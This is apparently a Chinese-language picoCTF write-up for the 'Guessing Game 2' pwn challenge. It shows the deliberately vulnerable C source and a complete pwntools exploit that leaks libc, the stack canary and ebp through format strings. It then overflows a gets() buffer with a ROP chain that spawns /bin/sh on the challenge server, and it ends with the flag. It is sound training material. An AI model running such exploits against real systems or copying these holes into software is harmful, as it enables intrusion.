PicoCTF - Guessing Game 2
Background
fmt / leak libc / ret2libc / leak canary
Source code
:::spoiler Source Code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
// void print(long n)
// {
// // If number is smaller than 0, put a - sign
// // and change number to positive
// if (n < 0) {
// putchar('-');
// n = -n;
// }
// // Remove the last digit and recur
// if (n/10)
// print(n/10);
// // Print the last digit
// putchar(n%10 + '0');
// }
int do_stuff() {
long ans = (get_random() % 4096) + 1;
// print(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
:::
Recon
寫這一題的時候切記不要隨便因為Error /lib/x86_64-linux-gnu/libc.so.6: version 'GLIBC_2.34' not found
的錯誤訊息而更新glibc,也就是下sudo apt install libc6
這個command,經過實測是因為他給的elf執行檔有點問題,只要重新make就好,不然在用gdb trace code的時候,就會GG
$ sudo apt install -y make
$ sudo apt-get install gcc -y
$ sudo apt-get install libc6-i386 -y
$ sudo apt-get install gcc-multilib -y
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=69d83a7733e45de8e38431f09ee2cdb1b11b719e, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/Guessing Game 2/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
-
Brute Force Server Secret Number
看了source code可以發現他和上一題幾乎一樣,上一題是要猜1-100的數字,而他會有固定的模式出現,所以可以直接用gdb跟他到底是哪些數字,但這一題的範圍明顯大很多(1-4096),此時就要講到和上一題不一樣的地方,也就是第十行的==get_random== function中return的value是rand,他return的東西應該是一個固定的object而非經過運算的function(也就是==rand()==),所以只要他沒有把靶機重開,運算的結果都會是一樣的,此時我們可以寫一個brute force script去try他用哪一個數字,以我的例子來說server的數字是
-3727
,而如果想知道local side的數字是多少,可以直接把原本的source code註解的部分拔掉,再make就會自己告訴你了 -
Leak libc version
接著就是開始try rop,可以看到61行有個明顯的bof,但我們應該先想辦法leak libc version,因為如果直接用vuln執行檔找ROP會少的可憐,所以要用libc,但是libc最後找的東西不見得會和他的版本一樣,這也是為甚麼不能更新glibc的原因,在stack中的相對位置不會一樣,會找的很痛苦而且做白工,leak libc的方法這邊是用fmt,雖然應該只有這個方法(在63行),在print之前可以看一下stack的狀況,很明顯$esp+0x24c的地方出現
__libc_start_main
,利用online database searching tool可以知道server用甚麼版本1
2
3
4
5
6
7
8
9
10
110xffffc98c│+0x022c: 0x080495bb → <main+145> jmp 0x80495a8 <main+126> 0xffffc990│+0x0230: 0x00000001 0xffffc994│+0x0234: 0xffffca54 → 0xffffcc27 0xffffc998│+0x0238: 0x000003e8 0xffffc99c│+0x023c: 0x00000001 0xffffc9a0│+0x0240: 0xffffc9c0 → 0x00000001 0xffffc9a4│+0x0244: 0x00000000 0xffffc9a8│+0x0248: 0x00000000 0xffffc9ac│+0x024c: 0xf7deded5 → <__libc_start_main+245> add esp, 0x10 0xffffc9b0│+0x0250: 0xf7fbb000 → 0x001e7d6c 0xffffc9b4│+0x0254: 0xf7fbb000 → 0x001e7d6c
而libc base address就是
0xf7d34fa1-0x018fa1=0xf7d1c000
:::info Note: 在x86版本中,fmt的顯示順序是從$esp的地方開始,所以__libc_start_main
就是在$esp往後數==第147個位數== ::: -
Change Execute Environment
此時我們知道libc的版本是2.27,那就代表應該是18.04的版本,如果不想要費事裝VM或wsl就可以直接用@ccccc提供的腳本,讓這支程式跑在和server一樣的環境,==所以要把對應環境的loader和libc載下來==,用法如下:
1
2$ python {script path} {new env loader path} {original elf file} # e.g. python ./LD_PRELOAD.py ./ld-2.27.so ./vuln
他會產生一個新的執行檔,名字是
V
,在pwntools寫的腳本也要改,用法如下1
r = process('./V',env={"LD_PRELOAD" : "./libc-2.27.so"})
此時我們跑的結果就換會和server端一樣
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from pwn import * if args.REMOTE: r = remote("jupiter.challenges.picoctf.org", 18263) ans = -3727 elif args.LOCAL: r = process("./V", env={"LD_PRELOAD" : "./libc-2.27.so"}) # r = process('./vuln') # ans = -3615 ans = -3727 '''############# Find Libc address by stack info #############''' r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b"%147$p") r.recvuntil(b"Congrats: 0x") __libc_start_main = int(r.recvuntil(b"\n").strip().decode(), 16) libc_addr = __libc_start_main - 0x018fa1 libc_system_addr = libc_addr + 0x03cf10 success(f"libc base address = {hex(libc_addr)}") success(f"libc system address = {hex(libc_system_addr)}") raw_input()
1
2
3
4
5
6
7
8$ python exp.py LOCAL [+] Starting local process './vuln': pid 9451 [+] libc base address = 0xf7dce000 [+] libc system address = 0xf7e0af10 $ python exp.py REMOTE [+] Opening connection to jupiter.challenges.picoctf.org on port 18263: Done [+] libc base address = 0xf7d99000 [+] libc system address = 0xf7dd5f10
-
找canary
這一題因為有開canary又要觸發rop所以勢必會蓋到,可以先把相對位置記起來,也就是$esp+0x021c
1
2
3
4
50xffffc978│+0x0218: 0xf7e22d39 → <printf+9> add eax, 0x1982c7 0xffffc97c│+0x021c: 0x0c458f00 0xffffc980│+0x0220: 0x0804a0c4 → "Version: %x\n\n" 0xffffc984│+0x0224: 0x0804bfb8 → 0x0804bec0 0xffffc988│+0x0228: 0xffffc9a8 → 0x00000000 ← $ebp
1
2
3
4
5
6$ python exp.py LOCAL [+] Starting local process './V': pid 11379 [+] libc base address = 0xf7d2f000 [+] libc system address = 0xf7d6bf10 [+] Canary Value = 0xd824d100
-
寫/bin/sh\x00並開shell
要開shell的話必須要找個地方寫
/bin/sh\x00
,但是我有想過要用system read的方式,但是找不到int 0x80 ; ret的gadget所以就直接寫在stack上最快也最方便,只是要計算執行到開shell之前的esp或ebp,所以我們可以直接沿用fmt的技巧先把ebp的address紀錄起來等到把/bin/sh寫上去之後再看offset是多少,以我的例子來說就是差了0x8的距離,可以直接用gdb跟一下就知道了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b"%138$p") r.recvuntil(b"Congrats: ") ebp_addr = int(r.recvuntil(b"\n").strip().decode(), 16) success(f"ebp address = {hex(ebp_addr)}") # raw_input() bin_sh_1 = 0x6e69622f bin_sh_2 = 0x68732f pop_eax_ret = 0x00024d37 + libc_addr pop_ebx_ret = 0x00018d05 + libc_addr pop_ecx_ret = 0x00193aa4 + libc_addr pop_edx_ret = 0x00001aae + libc_addr int_0x80 = 0x00002d3f + libc_addr ROP_payload = flat( pop_eax_ret, 0xb, pop_ebx_ret, (ebp_addr+0x8), pop_ecx_ret, 0, pop_edx_ret, 0, int_0x80, bin_sh_1, bin_sh_2 ) r.recvuntil(b'What number would you like to guess?\n') r.sendline(str(ans).encode()) r.recvuntil(b'Name? ') r.sendline(b'a' * (0x200) + p32(canary_value) + b'a' * 0xc + ROP_payload)
Exploit - ROP gadget / leak libc / leak Canary
這一題算是綜合蠻多stack vulnerability的技巧,所以過程蠻複雜的,但只要環境對了就很順利
from pwn import *
import random
if args.REMOTE:
r = remote("jupiter.challenges.picoctf.org", 18263)
ans = -3727
elif args.LOCAL:
r = process("./V", env={"LD_PRELOAD" : "./libc-2.27.so"})
# r = process('./vuln')
# ans = -3615
ans = -3727
'''#############
Find Libc address by stack info
#############'''
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b"%147$p")
r.recvuntil(b"Congrats: 0x")
__libc_start_main = int(r.recvuntil(b"\n").strip().decode(), 16)
libc_addr = __libc_start_main - 0x018fa1
libc_system_addr = libc_addr + 0x03cf10
success(f"libc base address = {hex(libc_addr)}")
success(f"libc system address = {hex(libc_system_addr)}")
# raw_input()
'''#############
Find Canary Value
#############'''
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b"%135$p")
r.recvuntil(b"Congrats: 0x")
canary_value = int(r.recvuntil(b"\n").strip().decode(), 16)
success(f"Canary Value = {hex(canary_value)}")
# raw_input()
'''#############
Get Shell
#############'''
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b"%138$p")
r.recvuntil(b"Congrats: ")
ebp_addr = int(r.recvuntil(b"\n").strip().decode(), 16)
success(f"ebp address = {hex(ebp_addr)}")
# raw_input()
bin_sh_1 = 0x6e69622f
bin_sh_2 = 0x68732f
pop_eax_ret = 0x00024d37 + libc_addr
pop_ebx_ret = 0x00018d05 + libc_addr
pop_ecx_ret = 0x00193aa4 + libc_addr
pop_edx_ret = 0x00001aae + libc_addr
int_0x80 = 0x00002d3f + libc_addr
ROP_payload = flat(
pop_eax_ret, 0xb,
pop_ebx_ret, (ebp_addr+0x8),
pop_ecx_ret, 0,
pop_edx_ret, 0,
int_0x80,
bin_sh_1, bin_sh_2
)
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b'a' * (0x200) + p32(canary_value) + b'a' * 0xc + ROP_payload)
# raw_input()
r.interactive()
Flag: picoCTF{p0p_r0p_4nd_dr0p_1t_73d8dcc827619318}
Reference
PicoCTF — Guessing Game 2 Walkthrough | ret2libc, stack cookies